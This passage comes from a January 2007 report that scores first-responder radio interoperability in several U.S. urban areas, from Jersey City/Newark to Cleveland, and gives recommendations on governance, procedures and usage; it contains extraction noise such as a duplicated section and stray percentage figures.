UA has a strong governance structure closely tied to the State of New Jersey. Communications in the UA are governed by the Urban Area Security Initiative (UASI) Interoperability Subcommittee, which is a formalized group within the UASI structure. The UA has formalized agreements across the first responder agencies, with every agency signing a memorandum of understanding for regionwide communications interoperability. In addition, agencies such as the Port Authority of New York and New Jersey, the New Jersey Department of Health, and the U.S. Coast Guard have been included in the Interoperability Subcommittee and agreement process. The state legislature mandated strategic interoperability planning 3 years ago, although no plan has been adopted yet by participating agencies. The UA obtains the majority of their funding from federal grants. Currently, individual organizations develop and maintain their budgets and procure communications equipment with consideration for interoperability throughout the UA. However, the UA should encourage the participating organizations to develop a long- term strategy to determine or identify diversified or sustained funding that aligns with the regional strategic plan, which is under development. The Jersey City/Newark UA receives support from their leadership to obtain funding (e.g., executive committee allocated funding when the UA needed to address problems with in-building coverage). Recommendations: • Continue to be proactive in education efforts across stakeholders (e.g., distribute information through speaking engagements, distribute information pamphlets on communications interoperability) • Encourage all participating agencies to fully adopt the strategic plan • Encourage the development of a regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding sources that can help leverage costs across jurisdictions (in addition to grants) Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Tactical Interoperable Communications Plan (TICP) incorporated interoperability policies and procedures that had been in place for two and a half years, and on which there was regular training and usage. Most agencies participated in the TICP process, and since that time, further steps have been taken to disseminate the regional SOPs (e.g., distributed to included organizations and dispatch centers, made gateway SOPs available with gateways). The use of equipment SOPs was successfully demonstrated during the TICP validation exercise, and as noted in the After Action Report “[t]he street force demonstrated superior understanding of the TICP, only a week after its formal approval and implementation.” The exercise did expose minor gaps (e.g., setting up a unified command that didn’t include all of the participating agencies) in the use of the National Incident Management System (NIMS)/Incident Command System (ICS), 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-63 January 2007 Tactical Interoperable Communications Scorecards which has been in place in the UA for less than 1 year. The UA does, however, exclusively use plain language as required in NIMS/ICS. Recommendations: • Continue awareness and understanding of policies and procedures across all agencies • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Jersey City/Newark UA uses its shared ultra high frequency (UHF) channels on a weekly basis to provide communications interoperability and regularly deploys and uses radio caches and gateways. The Jersey City/Newark UA did well with the use of available communications interoperability equipment during the TICP validation exercise. Some minor training issues were encountered during the exercise; for example the traffic units were discussing road closures on the same shared channel that the COML was performing a radio check until a dispatcher intervened. Overall, evaluators of the exercise noted that “users were proficient with the use of UTAC4, ITAC5, and OEM2 as shared channels” and “the gateway technician was proficient with the setup and use of the system.” Recommendations: • Recommend additional training on how to use radios and available channels • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Jersey City Police Department operates a radio system with five UHF conventional channels. The Jersey City Fire Department radio system uses two UHF conventional channels. The Newark Police Department uses a conventional UHF radio system, and the Newark Fire Department uses a conventional very high frequency (VHF) radio system. Newark Emergency Medical Services (EMS) is also operating a radio system on the VHF band. All agencies can use the Essex County Sheriff’s Radio System (UHF/VHF) for interoperability. All agencies also have access to the New Jersey Interoperability Communications System, which has eight 800 megahertz channels and nine VHF channels. Jersey City is in the process of implementing a UHF trunked radio system for police, fire, and EMS. Estimated completion date is the end of calendar year 2007. In Newark, there is the possibility of implementing an Essex County trunked system to cover all agencies in the county, if funding issues can be resolved. Urban/Metropolitan Area A-64 January 2007 Tactical Interoperable Communications Scorecards Newark, NJ Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Jersey City/Newark Urban Area (UA) is a combination of two formerly separate UAs—Jersey City UA and Newark UA. The newly combined UA includes the cities of Newark and Jersey City, and the counties of Essex, Hudson, Bergen, Morris, Passaic, and Union. Governance: Established Implementation 15% 20% 20% 20% The Jersey City/Newark UA has a strong governance structure closely tied to the State of New Jersey. Communications in the UA are governed by the Urban Area Security Initiative (UASI) Interoperability Subcommittee, which is a formalized group within the UASI structure. The UA has formalized agreements across the first responder agencies, with every agency signing a memorandum of understanding for regionwide communications interoperability. In addition, agencies such as the Port Authority of New York and New Jersey, the New Jersey Department of Health, and the U.S. Coast Guard have been included in the Interoperability Subcommittee and agreement process. The state legislature mandated strategic interoperability planning 3 years ago, although no plan has been adopted yet by participating agencies. The UA obtains the majority of their funding from federal grants. Currently, individual organizations develop and maintain their budgets and procure communications equipment with consideration for interoperability throughout the UA. However, the UA should encourage the participating organizations to develop a long- term strategy to determine or identify diversified or sustained funding that aligns with the regional strategic plan, which is under development. The Jersey City/Newark UA receives support from their leadership to obtain funding (e.g., executive committee allocated funding when the UA needed to address problems with in-building coverage). Recommendations: • Continue to be proactive in education efforts across stakeholders (e.g., distribute information through speaking engagements, distribute information pamphlets on communications interoperability) • Encourage all participating agencies to fully adopt the strategic plan • Encourage the development of a regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding sources that can help leverage costs across jurisdictions (in addition to grants) Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Tactical Interoperable Communications Plan (TICP) incorporated interoperability policies and procedures that had been in place for two and a half years, and on which there was regular training and usage. Most agencies participated in the TICP process, and since that time, further steps have been taken to disseminate the regional SOPs (e.g., distributed to included organizations and dispatch centers, made gateway SOPs available with gateways). The use of equipment SOPs was successfully demonstrated during the TICP validation exercise, and as noted in the After Action Report “[t]he street force demonstrated superior understanding of the TICP, only a week after its formal approval and implementation.” The exercise did expose minor gaps (e.g., setting up a unified command that didn’t include all of the participating agencies) in the use of the National Incident Management System (NIMS)/Incident Command System (ICS), 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-65 January 2007 Tactical Interoperable Communications Scorecards which has been in place in the UA for less than 1 year. The UA does, however, exclusively use plain language as required in NIMS/ICS. Recommendations: • Continue awareness and understanding of policies and procedures across all agencies • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Jersey City/Newark UA uses its shared ultra high frequency (UHF) channels on a weekly basis to provide communications interoperability and regularly deploys and uses radio caches and gateways. The Jersey City/Newark UA did well with the use of available communications interoperability equipment during the TICP validation exercise. Some minor training issues were encountered during the exercise; for example the traffic units were discussing road closures on the same shared channel that the COML was performing a radio check until a dispatcher intervened. Overall, evaluators of the exercise noted that “users were proficient with the use of UTAC4, ITAC5, and OEM2 as shared channels” and “the gateway technician was proficient with the setup and use of the system.” Recommendations: • Recommend additional training on how to use radios and available channels • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Jersey City Police Department operates a radio system with five UHF conventional channels. The Jersey City Fire Department radio system uses two UHF conventional channels. The Newark Police Department uses a conventional UHF radio system, and the Newark Fire Department uses a conventional very high frequency (VHF) radio system. Newark Emergency Medical Services (EMS) is also operating a radio system on the VHF band. All agencies can use the Essex County Sheriff’s Radio System (UHF/VHF) for interoperability. All agencies also have access to the New Jersey Interoperability Communications System, which has eight 800 megahertz channels and nine VHF channels. Jersey City is in the process of implementing a UHF trunked radio system for police, fire, and EMS. Estimated completion date is the end of calendar year 2007. In Newark, there is the possibility of implementing an Essex County trunked system to cover all agencies in the county, if funding issues can be resolved. Urban/Metropolitan Area A-66 January 2007 Tactical Interoperable Communications Scorecards Buffalo, NY Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The Buffalo Urban Area (UA) includes the City of Buffalo, and the counties of Erie and Niagara. Governance: Established Implementation 15% 20% 20% 20% The UA’s Interoperable Communications Committee was formed in 2006 and is taking steps to establish interoperability as a priority within the area. For example, the decision-making group is formalized (with subcommittees devoted to technology, operations, and governance) and includes federal partners. The group is working to reach out to additional public safety (e.g., emergency medical services [EMS]) and state agencies, as demonstrated through its partnership with the New York State Wireless Network for which Buffalo has been selected as the primary regional buildout. In addition, it appears that local and county elected officials are promoting the Urban Area Working Group’s interoperable communications efforts (e.g., the Mayor of Buffalo participates on the committee). Regional, published interoperable communications agreements are included in the Tactical Interoperable Communications Plan (TICP), which is being disseminated to applicable agencies. The publication of a regional strategic plan, which is under development, would represent the next step in advancing interoperable communications governance across the area. Additional steps, including addressing a longer term funding strategy to identify diversified or sustainable funding sources, would help the Buffalo UA budget for the future system and additional regional interoperable communications needs. Recommendations: • Continue to expand subcommittee and working group membership to appropriate disciplines and levels of government (e.g., EMS, state, and federal representation) while continuing to document and formalize the necessary interoperability agreements (e.g., memoranda of understanding) with members • Finalize and publish the existing regional strategic plan; align local and state strategic planning efforts to ensure that regional interoperability needs are met • Continue the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding • Continue to involve government leadership on issues of communications interoperability and encourage long-term regional funding plans Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP provided the first regional communications interoperability SOPs for the Buffalo UA, which included a majority of the local, state, and federal agencies within the area. Although the Buffalo UA did not have pre-existing SOPs, the agencies within the UA were able to effectively execute the SOPs as outlined in the TICP. For example, during the TICP validation exercise, the participants were able to successfully follow the policies and procedures to request, activate, deactivate, and resolve problems for radio caches, shared channels, and gateways. Although the National Incident Management System (NIMS)/Incident Command System (ICS) was only implemented in September 2006, responders demonstrated some proficiency in command and control during the TICP validation exercise (e.g., announced the 15% 20% 20% 20% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-67 January 2007 Tactical Interoperable Communications Scorecards Communications Unit Leader designation to participants). The UA is working toward further NIMS/ICS training for law enforcement and EMS personnel which should address difficulties encountered during the exercise. Recommendations: • Ensure that regional SOPs are aligned with statewide planning efforts (e.g., develop SOPs for use of the future statewide communications system) • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The participating agencies in the TICP validation exercise demonstrated the ability to successfully achieve communications interoperability. During the exercise, the Buffalo UA adequately used and demonstrated all available means of communications (e.g., radio caches, gateways, and shared channels). Some notable issues did arise during the exercise. Buffalo officials indicate that there are designated shared channels to provide first responder interoperability. However, as noted in the After Action Report, “[t]here was limited communication between fire and EMS during the exercise; the two agencies did not discuss their needs and capabilities, coordinate their resources, or relay information regarding their actions to one another.” The TICP validation exercise included federal agencies (e.g., Bureau of Alcohol, Tobacco, Firearms, and Explosives), which shows proactive effort on the part of the UA to include a broad range of response agencies. The UA is encouraged to build on its local exercise success by further integrating state, federal and support agencies in its future events. Recommendations: • Continue to exercise interoperability solutions that allows for direct communications between fire and EMS (as noted in the Improvement Plan) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Buffalo UA has no shared radio systems and is supported by a mixture of conventional very high frequency (VHF) and ultra high frequency (UHF) radio frequencies. The Buffalo Police and Fire Departments operate separate UHF radio systems, and routine communications with regional law enforcement agencies is accomplished through the use of VHF high band frequencies. Erie County Fire Departments operate VHF low band and UHF radio systems; the Erie County Sheriff operates a UHF radio system. In Niagara County, the Sheriff’s Office operates a VHF high band radio system, whereas other law enforcement agencies in the county operate on a mixture of UHF and VHF frequencies. Niagara County Fire operates on both VHF low band and UHF. Interoperability with state and other regional agencies is achieved through the use of shared VHF and UHF channels, fixed and mobile gateways, and cached radios. The New York State Wireless Network is currently not available in the UA but is expected to be available late 2008. Urban/Metropolitan Area A-68 January 2007 Tactical Interoperable Communications Scorecards New York City, NY Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The New York City Urban Area (UA) includes the core city (City of New York), the core city's surrounding counties of Nassau, Suffolk, and Westchester, the Port Authority of New York and New Jersey (PANYNJ), and the New York State Metropolitan Transportation Authority (MTA). Governance: Established Implementation 15% 20% 20% 20% Established in 2002, the New York City Interagency Communications Committee (NYCICC) is a formalized group that meets regularly to evaluate current states of interoperable communications and to develop strategies to exercise and drill communications capabilities, raise awareness within agencies, and ensure that improvements are coordinated. The group has been proactive in incorporating multiple local, regional, state, federal, and public support agencies in their decision-making process. Major organizations in the UA have existing agreements in place (e.g., and New York City Police Department [NYPD] & New York City Fire Department [FDNY] Executive Orders), although partnerships with smaller agencies in the area are informal. A strategic plan, which will incorporate counties from two additional states (i.e., Connecticut and New Jersey) is in development, but has not yet been adopted. Funding for interoperable capital improvements is provided through federal grants and supported by local resources to meet interoperability needs (e.g., dispatch and maintenance). The City of New York has prepared a four year financial plan, which should be included into a broader strategic plan for the region. While the NYCICC has coordinated regional communications efforts, additional participation and leadership from jurisdictions throughout the area is needed to achieve regionwide interoperability. Recommendations: • Ensure that all applicable local agencies are documented and referenced in agreements (e.g., memoranda of understanding, inter-governmental agreements) at a regional level • Reference all applicable agreements in the Tactical Interoperable Communications Plan (TICP), and store them in an accessible format • Establish a regular review process to ensure that agreements remain current and relevant • Develop, document, and implement a regionwide strategic plan (beyond the operational focus to the TICP) with participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy (in addition to grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Develop a funding strategy for identifying sustainable funding sources (in addition to grants) to cover lifecycle and recurring costs of the UA’s communications interoperability assets • Encourage broader involvement by senior government leadership from across the area on interoperability funding and procurement plans Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The New York TICP is based on various existing policies and procedures (e.g., the New York Metropolitan Area Committee’s Spectrum Relief for Interoperability Channels Memorandum). These SOPs were expanded to include both new procedures and additional jurisdictions in the area. The New York UA has taken steps to disseminate these policies to necessary agencies and their dispatch centers. Officials in New York City recognize that “ongoing training and exercises will only strengthen first responder awareness… and further advance the current SOPs based upon actual usage.” New York City uses Citywide Incident Management System (CIMS) for command and control Incident Command System (ICS) implementation, whereas the rest of the UA implemented the National Incident Management 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-69 January 2007 Tactical Interoperable Communications Scorecards System (NIMS). TICP peer reviewers noted that consistency in ICS needs to be clearly articulated to ensure smooth integration of first responders from outside the city who are trained on NIMS procedures. CIMS has been certified as compliant with NIMS as both use the same ICS terminology, positions, and roles for first responders. However, agencies throughout the area still refer to CIMS and NIMS separately. It is therefore unclear if there is regionwide understanding that these command structures can be seamlessly integrated during a response. The limited scope of the TICP validation exercise did not provide the opportunity to see all aspects of this interaction. However, the procedures for command and control that were tested during the exercise were successfully demonstrated. Recommendations: • Continue to distribute updated regional communications interoperability SOPs (e.g., document demonstrated exercise procedures not originally included in the TICP) • Develop training policies and requirements for inclusion in the TICP • Ensure that the same command structure is used throughout the area (e.g., ensure CIMS and NIMS are consistently applied and practiced across the area) • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% New York City has developed multiple means of providing interoperable communications. As noted by exercise evaluators, FDNY and NYPD command “are now using the same radios on the same frequency band, which is a commendable development.” Nassau County has a New York City operational frequency, and New York City and Suffolk County also share channels. New York City provides a common channel for coordination and interoperable communications among city agencies, as well as other agencies entering the city, to accomplish public safety missions. The exercise evaluators also noted a weekly roll call of Federal agencies using the Federal Interoperability Gateway- based System, which is commendable. Due to the limited scope of the exercise , which did not fully stress the communications capabilities of the UA, it is difficult to determine the level of local, regional, state, and federal participation in local response incidents. Officials in New York City indicate that they “have to do exercises more with [their] surrounding neighbors. These exercises need to be more robust.” The exercise did not include any public support agencies (e.g., public health, utilities), and prevented adequate testing of interoperable communications (e.g., evaluators not given access to dispatch center to observe activation of a console patch). Recommendations: • Conduct robust exercises to test interoperable communications capabilities (e.g., more complexity, additional local, regional, state, and federal agencies) • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview New York City UA has developed multiple means of providing interoperable communications. Command and control interoperability is provided by a Regional Wide-Area Interoperability system that is expanding into New Jersey and into Nassau, Suffolk, and Westchester counties. An 800 megahertz (MHz) trunked system has dedicated command and control talk-groups, such as ALERT, to provide high-level, interoperable communications for city, state and regional agencies. Within the UA, operational interoperability is provided by NYPD zone frequencies; tactical interoperability uses a common UHF point-to-point channel. The counties operate 800 MHz, ultra high frequency, and very high frequency systems providing interoperability to their public safety agencies. The UA also employs a variety of national law enforcement, New York State Police Mutual Rapid Deployment and National Public Safety Planning Advisory Committee mutual aid channels, which are accessible throughout the region. The Federal Interoperability Channel provides most federal agencies interoperability to local, regional, and state agencies throughout the UA and northeastern New Jersey as well. Urban/Metropolitan Area A-70 January 2007 Tactical Interoperable Communications Scorecards Charlotte, NC Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Charlotte Urban Area (UA) includes the City of Charlotte; the North Carolina counties of Anson, Cabarrus, Catawba, Gaston, Iredell, Lincoln, Mecklenburg, Stanly, and Union; and the South Carolina counties of Lancaster and York. With Anson County added, collectively, these jurisdictions are known as the Piedmont Area Communications Consortium (PACC). Governance: Intermediate Implementation 10% 10%15% 15% Coordination for communications in the Charlotte UA is provided by the PACC, which is working to establish communications interoperability as a regional priority. The PACC has been in place since 2003 addressing key communications interoperability issues, including the development of a multi-agency Department of Justice Office of Community Oriented Policing Services (COPS) project. The PACC has established formal partnerships among the 11 counties (in 2 states) that represent the Charlotte UA, and they are expanding to include public health and public works. In addition, the Charlotte Regional Communications Council (RCC) is established and in place for those agencies participating in the UA’s shared system. However, as Charlotte officials indicated, the agreements have not yet been put into practice across the entire UA. Based on the activities of the governance group, it appears that regional leaders have made communications interoperability a priority (e.g., the UA has planned interoperability training for participating agencies). Despite this apparent prioritization of interoperable communications in the governance groups, no long-term strategic plan (including funding strategies) is in place. While agencies are considering regional interoperability needs, it appears that agencies still focus the use of grant funding on their individual, specific communications needs. This issue would be best addressed by developing a strategic plan that includes a longer term funding strategy to obtain diversifiable and sustainable funding for regionwide interoperable communications solutions. Recommendations: • Proactively recruit new PACC participants, including federal agencies • Encourage planning and development of strategic plan (i.e., longer term collective goals for the UA) (beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]) with participant approval, adoption, and acceptance; align local and state strategic planning efforts to ensure that regional interoperability needs are met • Pursue a regional communications interoperability funding plan as a component of this strategy, including long-term (e.g., 3 to 5 years) funding sources (in addition to grants) • Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically focus on interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The TICP provides the first regional communication SOPs for the Charlotte UA, which represents multiple jurisdictions and 29 radio systems. Before the TICP, every county had its own individual policies and procedures. Since the development of the TICP, the Charlotte UA has distributed the interoperable 15% 20% 20% 20% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-71 January 2007 Tactical Interoperable Communications Scorecards communications SOPs across the area through the TICP Implementation Workshop. Additional steps, such as storing applicable SOPs with radio caches and gateways, would support the continued dissemination and implementation of these SOPs. In regards to command and control procedures, the Charlotte UA has been implementing the National Incident Management System (NIMS)/Incident Command System (ICS) for more than 1 year, allowing agencies time to develop proficiency. During the TICP validation exercise, the Charlotte UA successfully demonstrated NIMS/ICS, including the Communications Unit Leader (COML) position that had been newly incorporated. For example, a unified command was successfully established with Incident Commanders representing each of the jurisdictional agencies. Additionally, a COML was designated and announced to all relevant personnel. Recommendations: • Continue to maintain and update SOPs (e.g., through updates after scheduled tabletop communications exercises) to include policies for using new equipment, and disseminate to all included organizations • Ensure that regional SOPs are aligned with statewide planning efforts • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Charlotte UA showed success in the use of all available communications interoperability methods (e.g., radio caches, shared channels, gateways, shared systems) during its TICP validation exercise. While interoperable communications equipment is not used on a daily basis, the Charlotte UA included all 11 counties in successfully exercising all available interoperability equipment. Charlotte had one of the most inclusive exercises with regard to the level of local agency participation. While the exercise met the stated requirements, it did not provide the opportunity to demonstrate interoperable communications with federal agencies in the area. The UA is encouraged to build on its local exercise success by further integrating state, federal, and support agencies in future events. Recommendations: • Involve public safety support disciplines, and state and federal agencies in training and exercises • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Charlotte UA hosts 29 separate radio systems. Radio systems supporting first responders are a mixture of very high frequency (VHF), ultra high frequency (UHF), and 800 megahertz (MHz) systems. The City of Charlotte is serviced by the Charlotte/Mecklenburg 800 MHz Radio System, which supports public safety agencies from both the City of Charlotte and Mecklenburg County. Communications interoperability is provided by the use of cached radios, gateways, and shared channels. The Charlotte UA is working to incorporate Union and Gaston County into the Charlotte/Mecklenburg radio system. Using the existing Charlotte/Mecklenburg Motorola SmartZone™ 4.1 zone controller, Charlotte/Mecklenburg intends to interconnect its 800 MHz Radio System with those owned and operated by Union and Gaston counties and to establish a UA shared system. Urban/Metropolitan Area A-72 January 2007 Tactical Interoperable Communications Scorecards Cincinnati, OH Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Cincinnati/Hamilton Urban Area (UA) includes the following counties: Butler, Warren, Clermont, Hamilton, Highland, Brown, Adams, and Clinton (Ohio); Boone, Kenton, and Campbell (Kentucky); and Dearborn (Indiana). The UA consists of Ohio UA6, also known as Southwestern Ohio, Southeastern Indiana, and Northern Kentucky (SOSINK). Governance: Intermediate Implementation 10% 10%15% 15% The SOSINK established a communications subcommittee under the SOSINK regional Terrorism Preparedness Advisory Team to create the Tactical Interoperable Communications Plan (TICP) in October 2005. The committee includes representatives from the majority of local agencies within the UA counties. The documentation did not indicate whether the group has a charter that defines the authority of the group. The Cincinnati/Hamilton UA has formal mutual aid agreements among local agencies (e.g., fire, law enforcement, emergency medical services [EMS]) and local villages, townships, and cities. Agreements with broader public support and state agencies are provided through the Ohio Response System. The UA also lacks interstate agreements among state representatives in Ohio, Kentucky, and Indiana. Considering the complex nature of coordination necessary among three states and multiple localities, a regional strategic plan for interoperable communications is critical to ensure regionwide interoperability, which currently does not exist. The UA should consider including a longer term funding strategy that is diversified and sustainable, and aligns with the UA’s interoperable communications needs. Currently, the UA receives funding from federal grants to fund the regional system. The UA’s leadership has demonstrated the importance of interoperable communications by allocating a large portion of acquired federal grant funding to communications interoperability equipment in addition to substantial local funds. However, there is no specified strategy to ensure sustained funding for interoperability needs. Despite the success of the area’s leadership, fiscal and political support dedicated to tri-state interoperability is an issue that calls for ongoing, enhanced coordination. Recommendations: • Continue to involve state and federal organizations (e.g., Kentucky and Indiana State Police, Federal Bureau of Investigation) in the committee, develop a charter to establish roles, responsibilities, and authority • Continue to document and formalize agreements (e.g., memoranda of understanding) among all participating agencies (e.g., interstate agreements among Ohio, Kentucky, and Indiana) to support partnership on regional interoperability, allocate resources to complete the formalize agreements, and renew effort to increase involvement among all appropriate local, state, and federal agencies, particularly law enforcement • Develop, document, and implement a consensus tri-state regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance; align local and statewide strategic planning efforts to ensure that tri-state regional interoperability needs are met • Develop and implement a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding (in addition to grants) • Continue to identify a champion(s) from each of the states to establish a governance structure that more fully supports a unified tri-state regional approach to planning, policy, and operations Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP represents the first formal interoperable communications regional SOP for the Cincinnati/Hamilton UA. The UA has taken some steps to implement these new SOPs (e.g., store radio cache SOPs with radio caches), and has plans to further distribute the TICP to tri-state area public safety agencies. The Cincinnati/Hamilton UA is currently working 10% 10%15% 15% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area A-73 January 2007 Tactical Interoperable Communications Scorecards toward implementing the National Incident Management System (NIMS)/Incident Command System (ICS), and SOSINK is assisting in the delivery of NIMS/ICS training. The Cincinnati/Hamilton UA demonstrated familiarity with command and control communications during the TICP validation exercise, and requires continued training for proficiency in some command and control procedures as documented in the TICP validation exercise (e.g., incident and unified commands were established but not in a timely manner, a Communications Unit Leader was designated, but not announced to exercise participants). Recommendations: • Continue to develop tri-state regional interoperability SOPs consistent with the TICP, further disseminate throughout UA (in addition to storing radio cache SOPs with cache), and train all participating agencies • Continue to involve additional state and federal agencies in development of tri-state Regional SOPs • Identify the title and source documentation for existing SOPs in the TICP • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The Cincinnati/Hamilton UA regularly uses a shared system that provides communications interoperability across 4 of the 8 Ohio counties in the area and among counties in Kentucky and Indiana. Officials indicated that there historically had not been a need for interoperable communications among all 12 counties in the UA. Although the UA does not regularly use its interoperable communications equipment across all 12 counties, it elected to pursue a complicated TICP validation exercise that stressed its interoperability capabilities so that it could positively identify areas for improvement. During the TICP validation exercise, some of the types of solutions presented difficulty for the UA in terms of demonstrating familiarity and proficient use (e.g., distributed radio cache without training or instructions). Despite issues with the radio caches, the Cincinnati/Hamilton UA was able to demonstrate familiarity with other available interoperability equipment, including shared channels and gateways. Recommendations: • Continue to regularly test and exercise deployment of Regional interoperability resources to improve proficiency (e.g., radio cache and gateways) • Continue to practice multijurisdictional and multidiscipline communications during future exercises and day-to-day activities, and include all 12 counties • Consider adding communications interoperability as a component of future exercises in the tri-state area Below is a summary of the area’s existing technology used to provide communications interoperability: Technology O Technology O Technology O Technology Overview verview verview verview All public safety agencies in the City of Cincinnati and Hamilton County operate on a shared, Project 25, digital, 800 megahertz radio system. Disparate systems are common throughout the rest of the SOSINK UA. The City/County has identified interoperable communication links with surrounding agencies, such as National Public Safety Planning Advisory Committee channels, gateways, and shared frequencies. Urban/Metropolitan Area A-74 January 2007 Tactical Interoperable Communications Scorecards Cleveland, OH Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Early Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Cleveland Urban Area (UA) includes the City of Cleveland and more than 57 other cities and municipalities within Cuyahoga County. Governance: Early Implementation 10%5% 5% 5% The Cuyahoga County Emergency Services Advisory Board has an informal communications subcommittee addressing interoperability that consists of regional fire, law enforcement, and public health representatives on an ad hoc basis. Currently, there are no published and active agreements among the regional agencies, although the UA plans to implement the Tactical Interoperable Communications Plan (TICP) as the area’s first formal agreement once it is adopted by participating agencies. The decision-making group informally recruits public safety support agencies and has some limited involvement with the Cleveland Mayor’s office. A technical communications study was conducted in 2002, but the result is not clearly defined as the UA’s formal strategic plan nor is it known whether it includes the necessary components to create a strategic plan. The current funding for interoperable communications is mainly through federal grants with no long-term funding plan to apply regional resources to communications interoperability needs. Coordination and cooperation among individual jurisdictions is not well established and agencies have their own agenda with regard to communications interoperability. Although the first responder community is dedicated to advancing interoperable communications capabilities, there does not appear to be a direct line of communications among regional and state leaders. Recommendations: • Establish a regular meeting schedule and membership, include all agencies, and define roles and responsibilities • Develop and document the necessary agreements (e.g., memoranda of understanding) that include local, state, and federal agencies to support partnerships on regional communications interoperability • Develop a strategic plan beyond the technical study and operational focus of the TICP with participant approval, adoption, and acceptance; align local and state strategic planning efforts to ensure that regional interoperability needs are met • Develop a regional approach to long-term (e.g., 3 to 5 years) communications interoperability planning and sustainable funding • Consider the direct involvement of a high-level official with political and fiscal authority to specifically advocate for and focus on communications interoperability • Consider establishing a direct line of communication among the local and state level organizations to advocate the importance of interoperable communications Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Cleveland UA’s TICP represents the first formal interoperable communications regional SOPs for the area. The level of participation in the development of the TICP was limited and should be increased to ensure the TICP addresses the needs of all public safety agencies within the UA. Additionally, the TICP has 10% 10%15% 15% 10% 10%15% 15% 10%5% 5% 5% Urban/Metropolitan Area A-75 January 2007 Tactical Interoperable Communications Scorecards not yet been finalized and formally accepted, which represents a significant set back in advancing communications interoperability across the area. In regards to command and control procedures, the Cleveland UA is in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS), and has begun training for fire, law enforcement, emergency medical services, and public support disciplines (e.g., hospitals). However, the UA demonstrated deficiencies during the TICP validation exercise, such as the Communications Unit Leaders experienced problems identifying themselves during emergency response, there were not enough COMLs at the incident, and there was a delay of 45 minutes in establishing a command post. Recommendations: • Adopt the TICP as the regional communications plan • Once adopted, disseminate and train personnel on regional SOPs, and ensure consistency with regional and statewide communications interoperability planning efforts • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The Cleveland UA demonstrated familiarity and successful use of the interoperable communications equipment during the TICP validation exercise (e.g., shared channels and shared systems). However, the UA also experienced several deficiencies with radio caches or gateways that illustrate the need for continued testing and exercising of interoperable communications equipment (e.g., improvements needed in setup and use of gateways for command and control purposes). For example, the talk groups established on the shared system were not appropriately set up to handle traffic, and gateways at a site experienced technical problems. Additionally, in a recent real-world event (blackout in 2003), Cleveland officials indicated that it had difficulty in establishing interoperable communications across agencies and jurisdictions. For example, federal agencies had problems in the TICP validation exercise (e.g., U.S. Coast Guard did not have a direct line of communication with the Cleveland UA emergency response units). Recommendations: • Regularly test and exercise deployment of 